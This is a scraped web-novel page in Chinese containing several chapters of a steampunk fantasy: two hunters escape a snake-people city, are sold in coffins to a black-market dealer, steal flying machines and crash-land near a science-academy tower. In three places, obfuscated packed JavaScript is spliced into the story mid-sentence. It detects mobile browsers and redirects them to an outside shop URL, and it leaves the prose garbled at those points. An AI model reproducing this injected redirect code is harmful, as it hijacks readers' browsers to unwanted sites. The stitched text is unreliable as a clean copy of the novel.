那硕鼠猛然刹车,还在愤怒地嚷嚷着。 下一秒枪口就抵上了它的额头,路远寒使了个眼色,伊凡便将车里的蛇人扔了出来,翻身而上,瞬间挟持了这辆鼠车:“往城外开,快点。” 转瞬间,炮弹从高空投掷下来,声势浩大地落在街道上,炸得地面都在震颤,到处都是纷飞的尸体与逃窜的蛇人。那只硕鼠见到如此阵仗,也知道再耽误下去就要没命了,爪下踩得都要冒火了,立刻驾着车往第二区的分界线逃去。 鼠车在前面狂飙,瓦伦提亚财团的悬空艇在后面紧追不舍,有半片区域都遭了炮火清洗,一时间轰轰烈烈,比地下城最盛大的节日还要热闹。 在街道小巷内拐了大概有十数次后,鼠车终于到了第二区的边缘。 一旦越过那条界线,出了第二区,就不再是财阀的统治区。然而瓦伦提亚财团早已向警署下达了命令,此刻保镖队接管了治辖权,率领重兵将界线上这片地带都封禁了起来。 “一级警报!一级警报!瓦伦提亚集团走失两只宠物,通缉犯正在潜逃,危险等级评定为区域级。请广大市民远离界线——靠近界线者,杀无赦!” 悬空艇上传来轰隆隆的震响。 路远寒望着前面那些翘首以待的炮台机枪,和伊凡对视一眼,从车窗翻出去,纵身跳进了旁边的护城河中。这条河道围绕着地下城,奇长无比,贯穿四区里外,甚至还通着那座神秘的天之塔。 黑水激荡,瞬间就将两人卷出了第二区。 41. 买卖 第四区,黑德兰街。 街旁的路灯一明一灭,像是故障已久了,地上的蒸汽管道也有所破损,连接处锈迹斑斑,甚至有老鼠从中窜过。在这片地下城最低等的区域,到处可见金属废弃物,上面还黏着洗不干净的油污,在昏暗的灯光下像是闪烁的眼睛。 即使是失业的下等人,也很少到废弃矿场来,因为这条街紧挨着重工业区,排出的浓烟形成大片雾霾,以至于黑德兰街常年下着酸雨,就连护城河里的水流到这里,也会被硫化物侵蚀。 只有一类人例外,那就是拾荒者。 他们买不起防毒面罩,仍然在升腾的黑烟下穿行,将捡到的金属器件卖给冶炼厂或五金店回收,以此来赚取微薄的利益。 随着咣当咣当的声响,一个瞎了左眼的蛇人和他身旁的年轻蛇人各自推着车,从街上走过。置物车的下层是他们捡到的齿轮零件,七零八碎的什么都有,最上层则用布盖着,而底下的隆起物还在微微起伏,就像在呼吸一样。 年轻蛇人瞥了一眼被黄布掩盖的东西,压低声音说:“老头……他们两个一看就是上面那些大人物养的啊,这浑水你也敢趟。” “哼,就是越稀奇卖得才越贵。没有钱你能在这里活下去?”瞎眼蛇人嗤笑着,“我敢保证,把这两个家伙转手卖出去,赚到的钱够你小子吃一辈子盐焗蜘蛛。” 想到盐焗蜘蛛,年轻蛇人不由得咽了咽口水,看手下东西的视线也带着一片幽幽的欲望。他跟在瞎眼蛇人身后,忽然留意到黄布下的异动,布褶悄无声息地翻开,似乎有一只手摸上腰侧,拿出了某种硬物。 眼前诡异的一幕,那瞎眼蛇人竟然毫无所觉。 年轻蛇人顿时惊叫出了声:“等等……他身上好像藏了枪!” 倏然阴风刮过,揭开遍是污渍的黄布,露出底下一双闪着寒光的眼睛。路远寒坐了起来,枪口紧抵着蛇人柔软的颈肉,那是逆鳞所在,只要开上一枪,这年老的拾荒者就得死在他手下。 蛇人僵住了,喉咙缓慢地滑动了一下。 他用仅剩的一只眼睛望着面前冷冰冰的怪物,听到对方皱着眉呵斥年轻蛇人的声音:“别叫了,你很想死吗?” 被他训斥了一通,年轻蛇人顿时闭上了嘴。想到自己的推车下同样藏着件昂贵的商品,他悄然握住了扳手,打算用同伴威胁那怪物放开老头。 然而他刚有动作,沉重的枪托就飞了过来,砸在他手上,砸得蛇人大叫一声。路远寒踩着那瞎眼蛇人的肩膀落了地,转瞬就到了年轻蛇人面前,将他扼着脖子拎了起来。 他的脸颊迅速涨红,黢黑的蛇尾痛苦地抽动着,在地上激起一阵又一阵扬尘。 “放开他……放过兰德吧。”瞎眼蛇人挣扎着爬了起来,颤巍巍从身上摸出一只装钱的袋子,哀凄地央求着路远寒,“你需要钱对不对?我有!我有金铢,全都可以给你。” 他的手颤抖着,那袋子里寥寥的几颗金铢摔落在地,叮啷啷一声脆响,滚进了旁边的下水管道里,立刻被水流冲走了。瞎眼蛇人怔然瘫坐下去,仿佛被夺走了全部,眼睛无神地望着前方。 路远寒看了他一眼。 …… 片刻后,一座蜗居房里。 虽然是蜗居房,但这名字并不确切,只有外型像是蜗牛壳,实际上是由废弃的直升机改造而成。金属制的墙壁上满是凹陷弹坑,损毁的螺旋桨剩了大半,危险地挂在顶上,那锋利的铁片就像一把铡刀,随时会落下来砍掉人头。 路远寒裹着毯子,喝了一口没滋没味的热水。 味道当然不好喝,杯底沉着垢,但他和伊凡刚从护城河里被捞出来,身上还湿漉漉淌着污水,顾不上贫民窟的水有毒没毒,只是机械地重复着这一动作,热水流进胃里,才能让他感觉到稍微暖和了些。 他手上还提着枪,那两个蛇人规整地盘在角落里,一点也不敢乱动。 灯火黯淡地起伏着,里面剩余的蒸汽只够再烧一刻钟。路远寒伸手调亮了灯光,瞎眼蛇人老莫心疼得眉头都拧成了结,但他什么都没有说,只是掐了一把兰德的腰。 “哎哟!你掐我干什么,有气朝他们发去……” 兰德没好气地嘟囔着。 路远寒没搭理这两个蛇人拌嘴,他沉思片刻,望着伊凡提了一个问题:“前辈,你来的入口能回去吗?” 伊凡面色凝重,摇了摇头:“不行,我一掉进来就被瓦伦提亚财团的人逮捕了,他们似乎有着监测异种生物的工具。我当时试过了,根本无法通过光幕,即使能回去,没有潜水装备,也会被湖水压死在底下,得另外想办法。” 他说到这里,已然觉得封印眷顾之后,一切都倒霉得要命。 “你们…难道你们是从外面来的?” 兰德听着这两人的对话,满面惊恐地问道。尽管老莫反手抽了他一嘴巴,但路远寒的视线还是转了过来,审视着这张年轻的脸庞。 兰德激动地嚷嚷了起来:“天啊!原来塞伦城之外真的还有世界,探索队果然是存在的……” 他口中的塞伦城,想必就是这座地下城邦。 见路远寒正幽幽地望着自己,兰德才后知后觉地出了一滴冷汗,往角落里缩了缩:“呃,其实所有塞伦城公民都清楚,只有天之塔知道这个世界上所有的秘密,不过科学院掌控着那里,我想像首脑那样的人,应该不会愿意回答你们的问题。” 据兰德所说,天之塔作为第一区的象征,其实是隶属于科学院的钢铁要塞。 科学院共有十二名执行官,领头的那人被称为首脑。这十二人的地位非同一般,他们掌握着知识与文明、能让蒸汽驱动事物的技术,旗下有无数道生产机器的流水线。财阀们虽有自己的开发团队,却也不能与之抗衡。 天之塔……路远寒默念着这个名字。 那座黑塔在城中央第一区,而他们现在位于最靠近边缘的第四区,要想跨越中间数道界线去往那里,简直难如登天。能靠护城河出来是运气,第二区想必已经被菲奥娜派人戒严,该怎么做才能潜进天之塔,他现在还没有头绪。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283797|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>忽然,路远寒想到了什么,慢条斯理地又喝了一口水,才问兰德:“旁边是重工业区?” “对啊。” 兰德刚才已经跟他解释过了第四区的划分,他奇怪地望了一眼路远寒,觉得这人记性有点差:“最近的是军工厂,往远了还有制造机械设备的,不过生产出来的设备大多数都直属于财团,军火被那些家族垄断了,往警署军队运输的反而很少。” “有会飞的吗?小型的就可以了。” 听路远寒这样一说,兰德立马意识到了他想干什么:“不是吧……塞伦城每个区之间的制空权管得很严的,每天都有悬空艇巡航,你要是想从界线上飞过去,得被警察打成筛子!” “你倒是挺关心我们这些外来人的死活。”路远寒屈指敲了一下墙,听到了金属的脆响,“告诉我哪里有去军工厂的路线图,或者给我提供一个能打听到消息的方式,然后我们各走各的,你们两个也就不用提心吊胆了。” 兰德和老莫面面相觑,就在他们犹豫的时候,那把枪又轻飘飘晃了一下,被路远寒上了膛。 这下两人还哪敢不顺着他,说是一个叫铁龙的黑市商人可能有门路,只是这个蛇人重利,要花非常多金铢,才能从他那里打探到消息。而且铁龙身边有不少雇佣兵,极难对付,恐怕不能用强硬手段逼他就范。 路远寒指了一下自己:“那你们俩就照常把我们卖出去,两个珍稀物种,总能抵得过这笔债了吧?” 兰德还没说话,老莫先伸手将他按在了身后,眯起眼睛,用衡量货物的眼光打量着路远寒的脸、手、身体轮廓,乃至于两条盘坐的长腿,认定这是一件价值连城的宝贝,满意地点了点头。 为了将路远寒和伊凡卖出去,他又找黑德兰街上放高利贷的借了点钱,买了副废弃的棺材盒来装这两人。路远寒紧闭眼睛,安静地躺在棺材里,像一具精心制造出的机器人,耳边还被放了朵金属丝旋出的花,兰德放的,说是罗曼蒂克。 两个蛇人拖着沉重的棺材,还没走出这条街,先累出了满头汗。 老莫看了眼棺材,摸了摸仅剩的两颗金铢,最后一咬牙:“算了,叫个鼠役来吧!” 在靠近地底的塞伦城,蛇人与鼠类共存,只不过蛇人占据了统治地位,不仅数量更多,也进化得更为彻底。与下水道的普通老鼠不同,硕鼠们体型庞大,有的在前几区驾车,算是有了编制,能拿一份不错的薪水,而在贫民窟的就做些零散活计维生。 所谓鼠役,就是帮别人搬东西、修水管的。 心如滴血了片刻,老莫便拿两颗金铢叫了个鼠役,那鼠两爪各拖着一副棺材,也不见丝毫费力,没过半个小时,就给他们送到了铁龙开的贸易所门前。 老莫略带犹豫,自己做了一阵心理准备,才爬上前敲响了门:“铁龙先生,我有东西要卖,至少值好几百、不,几千金铢!” 里面并没有人应声。 倏然,从门上伸出来一支探望镜,阴恻恻绕着两只蛇人转了又转,似乎在打量着他们带来的货物。 42. 潜入 随着那探望镜收了回去,门也缓缓而开。老莫和兰德拖着棺材进了贸易所,一走进门,就被数个肌肉彪悍的蛇人围了起来,审视着这两个穷得烧不起蒸汽灯的黑户。 “我没记错的话,你是黑德兰街那个捡垃圾的吧?说说看,你能卖给我什么好东西。” 随着话音落下,头戴高顶礼帽的蛇人从楼梯上走了下来,透过墨镜望着那两副躺在地上的棺材,手上还牵了一条机械狗,正朝两个外来人狺狺狂吠着。 在第四区,他这样的装扮可谓格格不入。 他态度冷淡地扫了老莫一眼,似乎觉得连机械眼都装不起的蛇人都是废物,又打量着兰德,心想将这年轻人身上的器官拿去抵押,倒还能换不少金铢。 老莫挤着眼睛笑了笑,将他手下的棺材盖缓缓挪开一截,露出底下略显苍白的面孔。流水般垂下的黑发,高挺的鼻梁,最重要的是他咽喉下没有鳞片——这是个异种生物。铁龙的呼吸倏然变重了,再开口时已然急切了不少: “这东西你从哪里搞到手的?” 没等老莫回答,他就急匆匆地走了过来:“算了,那些都不重要。两万金铢,这批货我要了。” 那条机械狗围着棺材叫了又叫,像是在附和主人的意见。铁龙想得很清楚,像这样漂亮的异种生物,在第四区或许卖不出去,毕竟这里都是心狠手辣的讨口子,但上面那些贵族绝对会想带回去饲养,到时候一转手,利润能翻上十倍不止。 他想要观察得更清楚一些,老莫却转身将棺材挡了起来。 这个狡猾的蛇人在第四区浸淫了多年,也知道空头支票做不得数:“铁龙先生,您也知道我们两个下等人不容易,赚的都是血汗钱吧?一手交钱,一手交货。” 铁龙懒得跟他计较,他摆了摆手,就有保镖提着一个箱子过来,箱盖打开,里面遍是流光璨璨的金铢。 这下轮到两个拾荒者呼吸急促了,他们在废弃矿场翻了一辈子垃圾,也没见到过这么多钱。 在金光照耀之下,老莫眼神闪烁着接过装钱的箱子,转头让兰德拿着,又觍着脸问了一句:“铁龙先生,我想跟您打听个事……您知道军工厂怎么去吗?” “军工厂?”铁龙面色骤然一冷,怀疑地望着眼前的蛇人,审视着他说这话的目的,“你打听这个干什么,那地方重兵把守,可不会让你们两个进去捡漏。” 看在即将赚大钱的份上,他轻蔑地笑了笑,又降尊纡贵地补充了一句: “你要实在想找死,我也不拦着你,军工厂每天有倒冶金废渣的车辆从费刊坡出入,大概凌晨两点前后,你可以试试,看那些打铁的疯子会不会把你们扔进火炉里烧成蛇羹。” 听到这里,老莫仅剩的眼睛滴溜溜一转,也没表露态度,只是不经意瞥了眼地上的棺材,就带着兰德走了。 铁龙靠得近了些,伸手抚上棺材里那张年轻的脸,那细腻的触感让他指节一缩,生怕把这件昂贵的货物摸坏了。他思考片刻,指了两个强壮的保镖过来:“你们几个,把这些棺材抬到冷藏库去,看管好了,谁都不许乱动。” 他注视着保镖将棺材抬走,从胸前的口袋拿出一只机械信鸟,旋紧发条,在两翼背后哒哒敲了几下,将它放了出去。 顷刻间,那只金属做的小鸟就迅速飞出贸易所,消失在了无边的黑暗之中。 “嘀嗒,嘀嗒……” 机械表盘上的时针转向了午夜十二点,在零下低温的冷藏库中,一只修长的手悄然打开了棺材盖。 棺盖翻开,路远寒坐起身来,从鼻腔呼出一口带着白雾的热气,侧过头舒展着筋骨,在冷藏库里躺了两个小时,他浑身的血液都要僵住了。那阵热气蒸腾了他睫毛上的薄霜,冰晶融化,阴冷而湿漉漉地淌下水来。 他提着棺木边缘,用力往上一抬,从夹层里取出藏好的武器,又敲了敲旁边的棺材,将伊凡从朦胧的意识中唤醒。 两个猎魔人的身体素质都不差,伊凡适应了片刻,便说可以行动了。他们现在知道了能混进军工厂的办法,然而费刊坡在哪里尚且不明,等到闯出贸易所了,还需要找一个本地蛇人问路。 路远寒站在门边,从冷藏库的缝隙里看到外面有五个保镖值守,门前两个,还有三个在稍远一点的地方巡逻。看来铁龙对所谓的异种生物很是看重,不惜拨出一半人手在这里预防突发情况。 他无声地指着门前左边的保镖,又点了一下右边那个,示意伊凡和他分头解决。 见巡逻的保镖走得远了,路远寒握紧手杖,将门闩倏然打断,随着门开的轰然巨响,两个蛇人还没反应过来,瞬间被狠戾地拧了脖颈,指下将喉骨处的鳞片一掐,便浑身瘫软地倒在了地上。 远处的保镖察觉到异常,顿时冲了过来,其中两个拳上有重铁指虎,一个紧握着霰.弹枪。 路远寒目露杀意,将锯肉刀甩了出去,钢刃正中持枪那人的脖颈,霎时血花飞溅,而剩余两个靠得近了,被伊凡连贯的一刀穿透胸膛,毫不留情地拔刀而出,又抹了他们的脖子。 一切都发生得太快,仅是半分钟过去,这场激烈的战斗就已经结束。 两人顺着楼梯离开地下冷藏库,上了贸易所一层。然而本应有保镖看守的大厅却空无一人,大门敞开,路远寒往前走了几步,发现铁龙正带着剩下的蛇人站在门前,不知道恭迎着何人。 他和伊凡放缓了呼吸,紧贴在冰冷的墙壁上。 灯光划破夜幕,随着滚滚白烟升腾,一辆蒸汽驱动的金属车朝贸易所行驶了过来。 通气管道后的驾驶位上坐着个男性蛇人,他面露倨傲,胸前佩着某个家族的徽章,因此铁龙一见到他,就谄笑了起来:“……卡列姆大人,停在这边就好!” 卡列姆停了车,又踢了金属外壳一脚,那笨重的机械才不再冒烟了。 事实上这东西用起来颇为费劲,真正尊贵的财阀手下又有数不清的悬空艇,因此只有极少部分为集团办事的外勤人员,为了维持体面,才会选择蒸汽车,上区的大多数蛇人还是乘坐鼠车出行。 而卡列姆此行前来,就是奉了博斯曼家族某位执 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13305859|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事的命令。 片刻前,他收到铁龙的信鸟,说手上有两个千金难换的珍稀物种,要献给那位执事,因此才匆匆赶来了第四区。 卡列姆很清楚,那些道貌岸然的上流人士,多多少少都有一点不为人知的癖好,他刚通报上去,拨款就批了下来,除开要付给铁龙的报酬,他还能拿到不少回扣。 他负手扫了一眼忙着献殷勤的黑市商人,心下难免有些不耐烦,态度傲慢道:“那两个异种生物呢?” “为了保证品质新鲜,在地下的冷藏库里保管着,大人跟我来就是了。要说那怪物的相貌,可是一等一的好,毛色透亮,没有瑕疵,我估摸着怎么也是个纯种的血统。” 铁龙刚领着卡列姆进了贸易所,倏然从斜刺里闪出一道刀光,等他回过神来,卡列姆已经被人拿刀架住了脖颈,锋刃抵着隐隐作颤的逆鳞,让这高傲的蛇人一动也不敢动。 挟持者站在他背后,贴着耳根问了卡列姆一个问题:“你知道费刊坡怎么走吗?” 他问得轻声细语,唯恐铁龙听到一样。 卡列姆被恐吓得肾上腺素激增,脑海里一片空白,反应过来后忙点了几下头,才感觉到颈上的力度稍微松了些。 铁龙那边看他被当了人质,就是再狠毒也不敢擅自开枪,只能眼睁睁望着货物拎着卡列姆坐到蒸汽车上,而另一个摆弄着方向盘,将这钢铁猛兽驱动起来,浓烟滚滚地远去了。 有卡列姆这个活地图在,凌晨一点刚过半,蒸汽车就赶到了费刊坡前。 站在费刊坡上,远远就能望到那片钢铁围筑的重工业厂区,成百上千道漆黑的烟囱拔地而起,机械撞击、铁水消融、齿轮运转的声音源源不断地从冶炼厂中传出,巨大的轰鸣震颤着周围的区域,雾霾与火光彼此交错,厂区上方被熏得通红一片,仿佛悬着永不落地的骄阳。 见卡列姆失去了利用价值,路远寒反手将他劈昏了过去,紧紧绑好蛇人的口鼻、双手和庞大的尾巴,把他藏在了座位下面。 两人潜伏在坡道的荒草丛中,等待着处理冶金废渣的车队。从这个角度望去,费刊坡下有一处较为明显的坑洞,被各色金属铺满底部,显然就是军工厂集中倾倒残渣的地点。 黑烟笼罩之下,没有人说话,他们的气息融进了重工厂运转的声响中,在那震天的高温炉城下渺小得犹如尘埃。 倏然间,伊凡压低声音,跟旁边的队友叮嘱了一句:“来了。” 路远寒放远视线,只见钢铁大门从那重工厂背后缓缓升起,数辆载着冶金熔融物的蒸汽履带车从门洞中驶出,朝费刊坡而来。车身每颠簸一次,便有无数飞扬的铁渣从边上落下。 随着履带车停下,将数以吨计的残渣倒进洞中,两人也悄无声息地摸到了车队边上。 负责驾驶履带车的蛇人靠着座椅,将一根快要燃尽的烟蒂随手扔出去,又低下头,擦了擦手套上的油污,一边拉动操作杆,将蒸汽车开回坡上,一边翻看着花边小报。 谁也没有注意到,有两个怪物潜伏进了他们的队伍当中。 43. 飞越 按照常例,履带车队处理完冶金废渣,又从后门返回了军工厂。 黝黑的影子紧贴着起伏的车厢,在火光下又往底部靠了靠,将一张面无表情的脸隐藏在暗处。直到车队停下,驾驶员陆续都走完了,路远寒才从剩余废渣里爬出来,翻身落了地,打量着工厂内部的构造。 要不是摄像机早就毁了,伊凡定要让他将眼前的一幕拍下来。 在这座体量庞大的钢铁厂内,区域划分得极明确,每个部门各司其职,比如燃料处理区域、炼钢区域、铸造区域、轧制区域……每一块场地都被高温蒸烤着,无数回转的管道凹槽在高处架设,将燃料与炙热的钢水输送到各座熔炉中,铁屑飞溅,金色的火花在每一根管道上闪烁。 不时有蛇人督工盘在起重机吊起的桥梁上,他们头戴黄帽,在车间和流水线上巡逻,负责检修各个区域的设备情况。 两人藏在履带车背后,等待着合适的时机。 在机械一般精密的运作模式下,高炉中火势鼎盛,热风呼啸,按照熔化、精炼、浇注、轧制的工序将材料加工为金属制品,打好的板材和铸件被分区域输送往不同的生产车间,在机械臂协作之下完成焊接。 蛇人们挥洒着汗水,面上被烤得通红也毫无怨言,在蒸汽施压下匆匆穿行,就像镶嵌在这座机械围城上的一根根铆钉、一颗颗螺栓。 忽然,路远寒留意到一个头戴防风镜,像是飞行员的蛇人。那人皱着眉站在厂房前,看上去很不耐烦,很快就有管理人员游出来,将某处库房的钥匙交到了他手上。 路远寒和伊凡商量过后,决定跟上这个蛇人。 两人贴着墙边行走,尾随在他身后,没过片刻,就到了一座储藏设备用的仓库门前。 随着蛇人旋动钥匙,打开大门,放置在仓库里的东西也展露在了他们面前,那竟然是一批军用飞行器。眼见蛇人就要关上门,路远寒闪身而出,握着刀柄重击在蛇人颈后,他甚至没来得及发出一声呼叫,就被放倒在了地上。 伊凡率先走了进去,就算他再稳重,也忍不住为眼前见到的造物惊叹了一刻。 地上放置着数十架单兵使用的飞行器,在一副金属铸就的骨骼之下,是轻薄的旋翼,上面的覆膜接近透明,质感细腻顺滑如一张动物皮。控制方向的操作杆在前,支撑飞行员重量的架杆在后,扶手旁边有两台小型炮塔,尾翼下则填着蒸汽动力源。 对于急需前往第一区的两人而言,这些飞行器固然不如悬空艇方便,却也够用了。 现在又有了新的问题,在缺少使用说明书的情况下,想学会驾驶飞行器并不是件容易的事。好在旁边还有一个昏迷的蛇人,路远寒将他弄醒,从这个飞行员口中得知了基本的操作方法,如启动、熄火、打开炮台、调整方向等步骤,剩下的则需要在实践中掌握。 “你悠着点吧……” 伊凡望着队友乘上飞行器,极有先见之明地退到了十米开外。 路远寒戴好防护头盔,启动装置,尾翼下瞬间发出巨大的轰鸣声,一阵激荡的热流推着他蹿上了高空,眼见就要撞上钢铁棚顶,他立刻猛拉摇杆,机身在空中一旋,有惊无险地与吊塔擦肩而过,悬停在了离地数十米的地方。 他望着底下数倍缩小的伊凡,头盔下的发丝飞扬。 他看到队长高举双手,似乎朝他喊了些什么,只是被机械运转的摩擦声掩盖,路远寒已经听不到了。 见没有出什么问题,伊凡也乘了一辆飞行器,片刻后两人熟悉了驾驶方式,游刃有余地旋转,翻身,压低尾翼冲出了储藏设备的仓库。一出大门,立刻有蛇人发现了他们,拉响了警报器,随着钢铁震怒的嗡鸣从四面八方响起,厂区中红灯通亮,仿佛全世界都在注视着这两人。 望着重工业区的边界,路远寒拨下旋钮,霎时间加大了马力,迅速从一座铁水激荡的厂房内穿过。 检测到入侵者,原本在高处施工的机械手当即朝着路远寒抓来。它体型庞大,由数段金属台支撑着,动作幅度太猛烈,关节处迸溅的火花烧了旁边工人的眼睛,那蛇人惨叫着摔下了高台,掉进铁水池里,顷刻间被烫得皮开肉绽,变成了一具浑身焦黑的尸体。 “救命啊!救命——救救我们啊!” 路远寒能避开机械手的攻击,底下那些工人却遭了殃。 管道倾翻,火势纷飞,高温金属如流星雨一样砸在地上炸开,众人四散而逃,没来得及跑的被砸断了半截身体,流出一段鲜血淋漓的肠肉,瞬间被炉火烤熟了,简直是灾难现场。 然而没有蛇人愿意在乎这些下等工人的性命,顶头的主管通报了军队,立刻有一支飞行队被派出,机翼狂啸着追在了两人身后。 不过蛇人的身躯太庞大,尾巴压着承重杆,远不如两个人类驾驶得轻盈。 枪林弹雨之中,路远寒架着机翼闪过,险而又险地躲过数次袭击,从几座高炉的缝隙之间迅速钻出,鼓吹的热气流从脸颊上擦过,让他感觉皮肤下的一根根触须都快要烧熟了,正在体内不满地抗议着。 前有机械铁手,后有飞行队追击,路远寒倏然斜冲上天,在空中灵活地绕了一圈,重新落在下方。 那些激射而出的子弹尽数打在了机械手臂上,火花迸溅,正好指节拢紧,飞行队的机翼被它攥在巨大的掌心里,被狠重碾碎的金属残片叮叮当当砸下去,再摊开手时,里面的驾驶员已是血肉模糊,从高处摔在地上,没抽搐几下就死透了。 借势让两方互相搏杀,将飞行队解决掉半数之后,路远寒调整方向,毅然冲出了重工厂棚顶,穿行在滚滚黑烟之中,犹如一支疾驰而出的利箭,飞向了贫民窟的边缘。 伊凡的机翼掠过,在他身旁激起一阵又一阵气流,像在仰天大笑。 置身高处,就连空气都比地上的要新鲜。路远寒从未感到如此自由,他以上帝视角打量着废矿场、重工业区,以及贫民窟的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13313382|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 建筑,机翼飞快地越过黑德兰街,在贸易所上方抛下一发燃烧着的炮弹。 临近界线时,高塔上的炮台立刻对准了空中的两人,随着一声又一声警报,无数台重机枪展开攻击,千炮齐发,想要将他们轰炸下来,却被两个擅闯者旋身闪过。越过第四区,路远寒看见在工坊内朝生暮死的蛇人,他们或是修着钟表,或是铺设铁轨,为一顿饱餐奔走劳碌;又越过第三区,他看见玻璃制造的高楼大厦,满城飘洒的新闻礼花,贴着家族标识的悬空艇正在巡航,有些属于瓦伦提亚,有些属于博斯曼、赫德里奇等二流家族。在那些庞然大物面前,这架飞行器如同一只遇上巨鲸的蜉蝣。 被悬空艇直接盯上,路远寒知道逃不过去了,必有一场恶战在即。 无数悬空艇像笼罩的黑网一样朝两人逼来,在高空中形成围杀之势,随着飞艇靠近而越收越紧,机械震颤的响动激起阵阵气流,从那庞然大物的通气孔喷涌而出,像飓风刮过,机翼稍微碰到一点,就会被绞得支离破碎。 “轰——” 漆黑的炮口倾泻出一枚又一枚追踪弹,火力密集如箭雨,携着火花朝路远寒袭来,被他压着机翼从旁边掠过,强光爆开,刹那间上空闪耀至极,比整座第二区的蒸汽灯还要通明。 他就像一只飞驰在狂风骤雨中的信鸟,两臂下气流涌过,让旋翼不断起伏。 路远寒调整方向,朝着其中某艘悬空艇径直冲了过去,在即将撞上的一瞬间拧转了九十度,机身贴伏着金属舢板向前飞去,那些炮口顿时熄火,生怕损毁了财阀旗下的所有物。 祸水东流这一计固然有效,却没能继续下去。 被他碰瓷的悬空艇上同样有蛇人保镖,炮手们站在舢板边上,将蓄满动力的炮台对准下方,朝着那一架流窜的机翼轰然开火。 上千枚流弹追着路远寒倾泻而出,他在集火下晃着飞行器左支右绌,尾翼被悬空艇的一发炮弹击中,烧出了漏洞,高空气流从窟窿内急速穿过,将覆盖层割得更开,机身顿时冒起了黑烟,因失去重心而在风压下不断倾斜旋转,金属弯折,近乎将他抽成了一个陀螺。 当下情势危急,路远寒手臂猛拉操作杆,指节被溅起的火花烧着,旋翼上一根又一根支撑杆断裂,骨架与机身即将分崩离析。 被他强行压低重心的飞行器向着下方径直摔去,笔直地勾勒出一条流线,最后摩擦着地面发出阵阵尖锐的声响,在无数蛇人惊恐的目光之下,撞上了喷泉池中的雕像。 坠地的机翼轰然炸开,在水池中激起无数浪花。 片刻后,路远寒满面黝黑地从水里爬了起来。 他左半边脸烫毁了,浑身没有一处好肉,刚才烧伤的皮肤被水流拂过,激起深入骨髓的剧痛。然而这痛感传遍五脏六腑,他已经麻痹了,路远寒什么都没有想,只是机械性地抬起一条鲜血淋漓的腿,跨出了喷泉池。 他望着面前直入天际的高塔,露出了胜利的微笑。 44. 黑塔 飞行器坠毁,而路远寒也如愿到了第一区。 身体的灼痛感让他回过神来,路远寒低头检查着身上的武器,锯肉刀和手杖基本没有损坏,那两颗灵爆弹也还在,但蒸汽枪碎了一把,裂开的玻璃碎片正扎在他大腿外侧,伤口处皮肉翻开,腥红的血水从他腿边蜿蜒而下。 他攥紧那片玻璃,面不改色地将它拔出来,随后将袖子撕下来一截,熟练地绑在腿上处理伤口。虽然像这种伤情很快就会愈合,但路远寒认为,止血还是有必要的。 “嗡嗡……” 随着机翼的轰鸣声靠近,路远寒抬起头,看见了朝着这边飞来的伊凡,以及无数身上覆着装甲、手持枪械的警卫。 显然,伊凡的运气要比他好得多,即使置身悬空艇的剿杀之下,也没有被炮弹击中。他驾驶着飞行器俯冲过来,两条有力的手臂将路远寒吊了起来,机翼升空,躲开了蛇人的围捕。 “前辈。”没有了防护头盔,路远寒在强风吹拂下近乎睁不开眼睛,“你……” 他想问伊凡有看燃料箱还剩下多少吗,然而没说完的话被气流挡了回去,让他剧烈地咳嗽起来,路远寒也只好闭上了嘴。 比起第二区的玻璃高楼,此处靠近天之塔,已经能看到这座通天建筑的外貌。 那庞大无比的塔身从波光粼粼的黑水里延伸而出,而在主塔以外,还有无数座小型圆拱顶的建筑环绕在周边,如同一片小行星带,由蒸汽推动着悬浮在低空。在金属铸就的塔楼上,能看到转动的扇叶、深邃的管道、直上直下的悬梯,门前镶嵌着表盘,似乎在这里每一分每一秒都至关重要。 而每座塔上都有多层机械平台,从平台上延伸出一道道浮空桥,连接着主塔和无数附属小楼,就构成了这座钢铁要塞。 伊凡压着机翼从黑塔边飞掠而过,路远寒被他攥得肩膀生疼,却也没有意见,只是静静观察着下方这片造型奇特的区域。 他在城外时就看到,这座千米高的巨塔被切割成了无数小格,现在则看得更为清楚,主塔上的每一个方格内都有数个蛇人在工作:在文书区,有些在翻阅书籍,另外一些在用打字机誊写报纸;而在实验区,则摆放着数台精密的仪器,除了忙着调试的研究员,还有满手污渍,正在给机器人上发条涂润滑油的。 所谓科学院,更像是一家体量巨大的公司。 就在这时,随着操作台上响起一阵警报声,飞行器能源耗尽,机翼倏然下滑,将两人一头拍在了某座玻璃罩顶上。 好在这个高度并不算危险,伊凡及时松手,让路远寒翻身落地,自己也跟着坠了下来。 两人离开飞行器,顺着玻璃房的边缘前行,忽然一个戴着厚重眼镜的蛇人从中游出,路远寒刚要动手,却看到对方冲了过来,满面激动,用审视小白鼠一样的视线打量着他们两个。 “天啊…太奇妙了!你们是从哪里来的?” 